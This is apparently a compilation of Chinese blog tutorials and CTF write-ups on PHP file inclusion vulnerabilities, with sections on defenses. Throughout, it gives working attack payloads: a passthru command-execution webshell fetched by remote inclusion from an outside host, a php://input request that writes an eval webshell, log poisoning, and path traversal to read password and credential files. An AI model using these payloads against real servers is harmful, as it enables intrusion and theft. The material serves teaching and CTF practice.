精华内容
下载资源
问答
  • 文件包含漏洞

    千次阅读 多人点赞 2018-09-23 18:53:31
    文件包含漏洞成因 为什么要包含文件? 如何利用这个漏洞? 本地包含 远程包含 文件包含漏洞的防御 文件包含漏洞成因 文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端...

    目录

    文件包含漏洞成因

    为什么要包含文件?

    如何利用这个漏洞?

    本地包含

    远程包含

    文件包含漏洞的防御


    文件包含漏洞成因

    文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。但是asp、jsp文件只能本地包含,而php既可以本地包含也可以远程包含。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。常见的文件包含的函数如下
    PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
    JSP/Servlet:ava.io.file()、java.io.filereader()
    ASP:include file、include virtual

    • Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
    • Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。
    • Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
    • Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。
    • php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

    使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行。

    为什么要包含文件?

    程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件需要使用时进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写 include("share.php") ,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?

    有的时候可能并不能确定需要包含哪个文件,比如看下面的代码

    if ($_GET[page]) {
        include $_GET[page];
    } else {
        include "home.php";
    }

    上面这段代码的使用格式可能是这样的:
    http://hi.baidu.com/m4r10/php/index.php?page=main.php

    1、提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
    2、判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
    3、若$_GET[page]空的话就执行else,来 include "home.php" 这个文件。

    你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们
    总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件。比如下面说的!

    如何利用这个漏洞?

    本地包含(LFI)

    本地包含条件:

    1. allow_url_fopen=On 
    2. 用户可以动态控制变量

    针对以上代码,比如我们会随便的写入下面这个URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php)。。。。这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:

    Quote:
    Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.phpon line 3
    Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3

    第一行的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;
    而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

    通过报错,我们可以得知绝对路径 /vhost/wwwroot/php/
    我们可以多次探测来包含其他文件,比如指定 www.xxx.com/index.php?test=./123.txt,来读出当前路径下的123.txt,也可以使用../来进行目录跳转(在没过滤../的情况下),也可以直接指定绝对路径,读取敏感的系统文件 ,比如 www.xxx.com/index.php?test=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect. 的 Warning。
    如果我们可以上传文件的话,我们可以上传一句话木马,然后再包含一句话木马,再用菜刀连接拿下网站的Webshell

    本地文件包含漏洞利用技巧

    • 包含用户上传的文件 (我们上传的一句话木马等等)
    • 包含data:// 或 php://input 等伪协议
    • 包含 Session 文件
    • 包含日志文件      ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

    远程包含(RFI)

    远程包含条件:

    1. allow_url_include=On
    2. 用户可以动态控制变量

    我们可以指定其他URL上的一个我们写的一句话木马,然后用菜刀连接获取Webshell。

    我们还可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。

    if (get_magic_quotes_gpc())
    {$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
    ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
    echo "开始行";       //打印的返回的开始行提示信息
    passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
    echo "结束行";       //打印的返回的结束行提示信息
    ?>

    以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在开始行与结束行之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

    • ll 列目录、文件(相当于Windows下dir)
    • pwd 查看当前绝对路径
    • whoami 查看当前用户
    • wget 下载指定URL的文件

    文件包含漏洞的防御

    在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了。

    相关链接:DVWA之File Inclusion(文件包含)   

                      原创干货 | ​文件包含漏洞——原理与利用

                      文件上传漏洞

                      文件解析漏洞

    展开全文
  • 【文件包含】文件包含漏洞知识总结

    千次阅读 多人点赞 2019-06-28 08:38:41
    【文件包含】文件包含漏洞知识总结 Hello,各位小伙伴周五好~ 这里是你们的劳模小编~ 之前一期,我们已经一起总结了文件上传和文件解析漏洞。 今天我们就一起来看看文件包含漏洞吧~ 一、什么是文件包含漏洞? 1、...

    【文件包含】文件包含漏洞知识总结

    Hello,各位小伙伴周五好~

    这里是你们的劳模小编~

    在这里插入图片描述

    之前一期,我们已经一起总结了文件上传和文件解析漏洞。

    今天我们就一起来看看文件包含漏洞吧~


    一、什么是文件包含漏洞?

    1、文件包含概述

    和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

    什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

    有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

    以PHP为例,常用的文件包含函数有以下四种:

    include(),require(),include_once(),require_once()

    区别如下:

    • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
    • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
    • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
    • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

    2、漏洞成因分析

    我们先直接来看一个简单的例子,网页代码如下:

    在这里插入图片描述

    再创建一个phpinfo.php页面,代码如下:

    在这里插入图片描述

    利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析:

    在这里插入图片描述
    将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:

    在这里插入图片描述
    修改为jpg格式,也可以解析:

    在这里插入图片描述

    可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

    在上一期文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析,现在知道是为什么了吧~

    我们将phpinfo.jpg的内容改成一段文字:

    在这里插入图片描述

    再次进行访问,可以读出文本内容:

    在这里插入图片描述

    利用这个特性,我们可以读取一些包含敏感信息的文件。

    二、本地文件包含漏洞

    能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)。

    测试网页包含如下代码:

    在这里插入图片描述

    网站利用文件包含功能读取一些php文件,例如phpinfo:

    在这里插入图片描述

    利用该代码,我们可以读取一些系统本地的敏感信息。

    例如C:\Windows\system.ini文件。

    (1)使用绝对路径

    使用绝对路径直接进行读取:

    在这里插入图片描述

    (2)使用相对路径进行读取:

    当前页面所在路径为C:\Apache24\htdocs\,我们需要使用…/退到C盘再进行访问,构造路径如下:

    …/…/windows/system.ini

    成功读取到文件信息:

    在这里插入图片描述

    ./表示当前位置路径,…/表示上一级路径位置,在linux中同样适用。

    (3)一些常见的敏感信息路径:

    Windows系统:

    • c:\boot.ini // 查看系统版本
    • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
    • c:\windows\repair\sam // 存储Windows系统初次安装的密码
    • c:\ProgramFiles\mysql\my.ini // MySQL配置
    • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
    • c:\windows\php.ini // php 配置信息

    Linux/Unix系统:

    • /etc/passwd // 账户信息
    • /etc/shadow // 账户密码文件
    • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    • /usr/local/app/php5/lib/php.ini // PHP相关配置
    • /etc/httpd/conf/httpd.conf // Apache配置文件
    • /etc/my.conf // mysql 配置文件

    三、LFI漏洞利用技巧

    1、字符串截断

    首先我们来看一段改进后的代码:

    在这里插入图片描述

    我们去读取根目录下的site目录中的phpinfo.php文件:

    在这里插入图片描述

    此时如果我们想通过文件包含漏洞读取本地敏感信息,就会遇到一些问题。因为服务器会给路径加上./site/路径,以及.php后缀。

    此时我们可以使用使用%00截断:

    %00为结束符,在filename后带上%00,就可以截断末尾的.php。

    当前路径为./site/,如果要读取system.ini,则需要输入:…/…/…/windows/system.ini%00,成功读取如下:

    在这里插入图片描述

    需要注意的是,%00截断需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。

    2、配合文件上传使用

    有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

    以DVWA平台为例,编辑一个图片马,内容如下:

    在这里插入图片描述

    找到上传点进行上传:

    在这里插入图片描述

    文件保存的完整路径为:

    C:\phpStudy\WWW\hackable\uploads\webshell.jpg

    DVWA平台low等级文件包含漏洞页面如下:

    在这里插入图片描述

    该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:

    在这里插入图片描述

    现在我们利用该页面去执行我们上传的图片马,路径需要从C:\phpStudy\WWW\vulnerabilities\fi\ 转到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

    构造URL如下,页面无报错:

    在这里插入图片描述

    可以看到fi文件夹中生成了一个webshell:

    在这里插入图片描述

    使用webshell管理工具连接即可。

    注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

    3、包含Apache日志文件

    有时候网站存在文件包含漏洞,但却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

    在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:

    在这里插入图片描述

    当我们正常访问一个网页时,如http://127.0.0.1/login.php,access日志会进行记录,如下图所示:

    在这里插入图片描述

    如果我们访问一个不存在的资源,也一样会进行记录,例如访问

    127.0.0.1/<?php phpinfo();?>

    但查看日志会发现被编码了,如下:

    在这里插入图片描述

    我们再次进行访问,并使用burp抓包,发现被编码:

    在这里插入图片描述
    我们将报文修改回去,再进行发送即可:
    在这里插入图片描述
    此时再查看access日志,正确写入php代码:

    在这里插入图片描述

    再通过本地文件包含漏洞访问,即可执行:

    在这里插入图片描述

    我可以在此处写入一句话木马,再使用Webshell管理工具进行连接。

    四、远程文件包含

    如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)。

    在这里插入图片描述

    首先我们来看一段代码:

    在这里插入图片描述

    访问本地phpinfo.php文件:

    在这里插入图片描述

    该页面并没有对$path做任何过滤,因此存在文件包含漏洞。

    我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。

    但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.2.7,不适用。

    还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:

    在这里插入图片描述

    如果test.php是恶意webshell文件,那么利用该漏洞就可以获取到服务器权限。

    五、PHP伪协议

    PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:

    在这里插入图片描述

    1、php://filter

    有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:

    在这里插入图片描述

    这时候我们可以以base64编码的方式读取指定文件的源码:

    输入:php://filter/convert.base64-encode/resource=文件路径

    得到config.php加密后的源码:

    在这里插入图片描述

    再进行base64解码,获取到数据库账号等敏感信息:

    在这里插入图片描述

    2、data://

    利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

    在这里插入图片描述
    如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

    在这里插入图片描述

    3、zip:// 执行压缩文件

    如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。

    以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:

    在这里插入图片描述

    通过zip://协议执行zip压缩包中的phpinfo.php文件:

    在这里插入图片描述

    4、php://input

    利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

    在这里插入图片描述

    发送报文,可以看到本地生成了一句话木马:

    在这里插入图片描述

    5、伪协议利用条件

    伪协议的利用方法还有很多,这里就不一一举例了。

    伪协议的用法小结:

    在这里插入图片描述

    六、文件包含漏洞防护

    1、使用str_replace等方法过滤掉危险字符

    2、配置open_basedir,防止目录遍历

    3、php版本升级,防止%00截断

    4、对上传的文件进行重命名,防止被读取

    5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件

    6、做好管理员权限划分,做好文件的权限管理


    好啦,以上就是今天的全部内容了,大家都明白了吗?

    在这里插入图片描述
    最后,欢迎关注我的个人微信公众号。

    Peace !
    在这里插入图片描述

    展开全文
  • 我又回来更新了,这次是关于web方面的文件包含漏洞.我会在后面以详细的角度来写清楚这个漏洞的利用方法. 当然,以下都是我自己的理解,表述什么的都有些野人化了.所以希望各位大佬手下留情. 一.漏洞产生的原因 这个...

    我又回来更新了,这次是关于web方面的文件包含漏洞.我会在后面以详细的角度来写清楚这个漏洞的利用方法.
    当然,以下都是我自己的理解,表述什么的都有些野人化了.所以希望各位大佬手下留情.

    一.漏洞产生的原因

    这个漏洞可以追溯到很久.更准确来说,其实是人为产生的.由于我php学的不是很专业,所以我就拿c语言来举例了.php里面使用的是include命令,c语言使用的是#include预处理命令.作用是相似的.
    我新建了两个文件,内容如图.
    wzc.h:

    #include "stdio.h"
    void print_f(){
    	printf("this is test file");
    }
    

    main.c:

    #include "wzc.h"
    int main(){
        print_f();
        return 0;
    }
    

    程序运行结果如图:
    在这里插入图片描述
    学过c语言的应该都知道我刚才干了件什么事情.我先写了一个自己创建的头文件库,里面存放了一个"print_f"函数,作用是在屏幕上显示一句话.
    然后我使用预处理命令将文件进行了一个包含的操作,这样我后面就可以多次调用这个print_f函数了.
    这么做在工程量少的情况下是看不出来有什么作用的,但是当你在做一个大工程时,需要多次实现某个功能的时候,就可以派上用场了,很完美的一个操作,对吧?
    但是,凡事都有例外.
    假如我是黑客,然后我在某个公司开发的c语言程序的被包含文件中,偷偷把被包含的文件中添加一些后门命令,是不是就产生问题了呢?最起码能让你这个程序崩溃不能运行.
    不过这并不是我们文件包含漏洞主要被利用的地方,我们要说的是利用语法来钻空子.
    观察我们的代码第一行:

    #include "stdio.h"
    

    在c语言中,被包含的文件名左右的包含符号有两种.
    第一种是两个尖括号.(<>)
    这种写法编译器会在系统自带的头文件库中寻找所需要的文件进行包含.例如:

    #include <stdio.h>
    

    第二种是两个双引号("")
    这种写法编译器会首先在c文件目录下寻找需要被包含的文件,如果没有,就会去系统文件夹下寻找.
    ok,了解这两种写法以后,我们可以继续往下走了.
    虽然说如果使用("")这种写法,机器会自动寻找当前目录下的规定文件,但是有时候我们的头文件库特别多,需要专门建一个文件夹来存放,那这时候该怎么引用呢?
    比如我们如图的形式.
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    就像这样,当我们文件存放在不同地方的时候,我们的c程序在引用的时候就需要改变一下形式了.
    main.c:

    #include <stdio.h>
    #include "..\\include\\wzc.h"
    #include "..\\include\\wzc2.h"
    int main(){
        print_one();
        print_two();
        return 0;
    }
    

    像这样,类似于cmd命令中写路径的时候一样的,"…“代表上一级目录.不过由于需要考虑c语言的转义字符的关系,所以我们需要把反斜杠打成两个才可以.
    很好,我想你们应该已经认识到了关于使用c语言的预处理命令来进行文件包含了.
    但是,想一想这个问题,假如说被包含的文件名如果可以通过用户自己输入的话,那是不是就很恐怖?如果我在被包含的文件多写几个”…/",是不是就代表着我们就可以没有限制的访问任何目录下的某个文件的内容了?
    当然,由于c语言是编译器处理这个事情的,所以不会产生这个问题.
    但是php就不一样了,因为它可以直接使用类似于echo的方法直接使用include,甚至允许用户自己输入被包包含的内容,这样做的后果就不需要我说了吧?十分危险.
    因此.一些网站在需要使用这个命令的时候,就会对用户的输入进行一个过滤,从而防止用户使用这个漏洞进行一些非法操作.

    二.漏洞的实际利用

    1)分析源码

    这个是我偶然遇到的一个web题,来自于buuctf网站的web的第一题.如图,我们首先访问靶机,显示的是一张图片.
    在这里插入图片描述
    右键查看源码.
    在这里插入图片描述
    发现在注释中有个source.php,我们尝试进行访问发现成功.
    在这里插入图片描述
    很好,又到了我们喜闻乐见的代码审计环节.我对代码的分析放在了下面.

    <?php
        highlight_file(__FILE__);
        //这个函数是将文件按照语法的高亮来显示.后面那个__FILE__我没有查到,应该是代表本文件的意思
        class emmm
        //新建一个emmm类
        {
            public static function checkFile(&$page)
            //类中的checkFile函数
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                //新建一个列表,列表中添加了两个key,并且有两个对应关系.这个列表的作用类似于白名单
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    			//这是第一个对page进行判断的地方.检查page变量,判断是否是空变量和判断是否是字符串
                if (in_array($page, $whitelist)) {
                    return true;
                }
                //判断page变量是否存在于白名单之中
                $_page = mb_substr($page,0,mb_strpos($page. '?','?'));
                //_page变量储存在page变量中从第一个字符开始搜索"?"号出现的位置,"."代表将"?"号和字符串相连.
                
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    			//也就是说,这个其实是实现了一个截断的方法,因为我们下面会使用get的方法进行提交参数,但是将我们的"?"号和"?"号后面的内容给截断了,因此就造成了我们无法提交参数的尴尬情况.想想看该怎么办.
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                //这也是进行了一个截断,不过这个是进行一次url解码以后的截断.
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
        //我们看到有include这个命令,因此我们就可以利用这个漏洞.
        //我们观察发现,脚本使用get的方式提交file变量的内容,然后进行检查.假如我们能绕过这三个检查,我们就能成功读取到flag.
    ?>
    

    2)解法分析

    我们大概走了一遍这个流程,大概知道了怎么运行的.因此,就需要更深入的研究了.
    我们的目的是为了过三个if保护,代码:

        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
    

    这三个条件是:
    1)判断file变量是否为空
    2)判断file变量是否为字符
    3)用checkFile函数进行检查
    前两个比较简单,关键是最后一个.刚才分析的过程中,我们最主要过的保护其实的就是关于那个截断的保护.
    要知道,我们的目的就是为了使checkFile函数返回ture才可以。四个判断我们经过观察发现,最后一个判断是最容易过的保护。
    因此,我们想想该如何绕过这个截断?
    其实很简单,我们找一个和"?"作用像同的符号但是不是问号的符号不就行了么?
    所以,我们要学会一个最简单的绕过方法–url编码绕过
    首先,当我们在百度搜索一些东西的时候,我们会发现我们输入的汉字都变成了一些由百分号开头的奇怪编码.
    这些编码就是经过浏览器url编码以后得到的结果.但是假如我们直接在网址栏输入编码后的代码,浏览器是不会进行url编码的.
    最后服务器那头解码一次,就得到我们输入的结果了.
    因此,我们就可以利用这个原理来进行一个简单的绕过.详细来看下过程.

                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    

    这个是进行url解码以后进行的一个判断.此处就是我们要利用的地方.
    假如我们将编码一次后的问号传过来,服务器解码一次得到问号.
    然后网站后台脚本会进行一次解码,上一步出来的是问号,解码出来依然是问号,仍旧能发现我们的操作.因此,我们需要编码两次.
    第一次,服务器将编码解码,得到问号编码一次的结果.
    第二次解码是由后台脚本解码的.仔细研究一下这段代码的逻辑就明白了.
    先解码,解出来是问号,然后将问号后面的都截掉,放到白名单里面一判断,成功返回truth,我们就成功了.
    很好,此刻我们已经成功将三个判断都绕过了,接下来执行的就是include命令,将我们需要的文件包含进来就行了.这个用法和我前面说的c语言类似,就不赘述了.这个是关于这个漏洞的官方描述,被收录在了cve上面,英语好的同学可以看看.
    在这里插入图片描述
    文章参考链接:https://www.jianshu.com/p/36eaa95068ca

    展开全文
  • Web安全-文件包含漏洞

    2020-11-04 22:58:52
    文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序。当应用程序使用黑客控制的变量构建可执行代码的路径时,文件包含漏洞会导致黑客任意控制运行时执行的文件。       ...
  • CTF中文件包含漏洞总结

    万次阅读 多人点赞 2019-02-13 00:15:33
    CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境...

    CTF中文件包含漏洞总结


    0x01 什么是文件包含漏洞

    通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

    0x02 文件包含漏洞的环境要求

    • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
    • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

    0x03 常见文件包含函数

    php中常见的文件包含函数有以下四种:

    • include()
    • require()
    • include_once()
    • require_once()

    include与require基本是相同的,除了错误处理方面:

    • include(),只生成警告(E_WARNING),并且脚本会继续
    • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
    • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

    0x04 PHP伪协议

    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    一、php://input

    php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
    在这里插入图片描述

    Example 1: 造成任意代码执行

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
    	include($file);
    }else{
    	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注:利用php://input还可以写入php木马,即在post中传入如下代码:

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
    

    Example 2: 文件内容绕过

    //test.php
    <?php
    show_source(__FILE__);
    include('flag.php');
    $a= $_GET["a"];
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
    }
    
    //flag.php
    <?php
    $flag = 'flag{flag_is_here}';
    ?>
    

    审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。
    注:遇到file_get_contents()要想到用php://input绕过。

    在这里插入图片描述

    二、php://filter

    php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
    在这里插入图片描述
    在这里插入图片描述
    POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

    注:更多php://filter用法可参考:谈一谈php://filter的妙用

    Example 1:

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	include($file);
    }else{
    	echo '<a href="?file=flag.php">tips</a>';
    }
    ?>
    

    1.点击tip后进入如下页面,看到url中出现file=flag.php,如下:
    在这里插入图片描述
    2.尝试payload:?file=php://filter/resource=flag.php,发现无法显示内容:
    在这里插入图片描述
    3.尝试payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

    在这里插入图片描述

    三、zip://

    zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    • zip://中只能传入绝对路径。
    • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型的还有zlib://和bzip2://
      在这里插入图片描述
      Example 1:
    //index.php
    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if (!$file) echo '<a href="?file=upload">upload?</a>';
    if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    	echo "hick?";
    	exit();
    }else{
    	include($file.".php");
    }
    ?>
    <!-- flag在当前目录的某个文件中 -->
    
    //upload.php
    <meta charset="utf-8">
    <form action="upload.php" method="post" enctype="multipart/form-data" >
    	 <input type="file" name="fupload" />
     	<input type="submit" value="upload!" />
    </form>
    you can upload jpg,png,zip....<br />
    <?php
    if( isset( $_FILES['fupload'] ) ) {
        $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
        $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
        $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
        $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
            ( $uploaded_size < 100000 ) ) {
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
                echo '<pre>upload error</pre>';
            }
            else {// Yes!
                echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            echo '<pre>you can upload jpg,png,zip....</pre>';
        }
    }
     ?>
    

    四、data://与phar://

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
    在这里插入图片描述

    phar:// 有点类似zip://同样可以导致 任意代码执行。

    • phar://中相对路径和绝对路径都可以使用
      在这里插入图片描述

    0x05 包含Apache日志文件

      WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
    在这里插入图片描述
    在这里插入图片描述
      Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
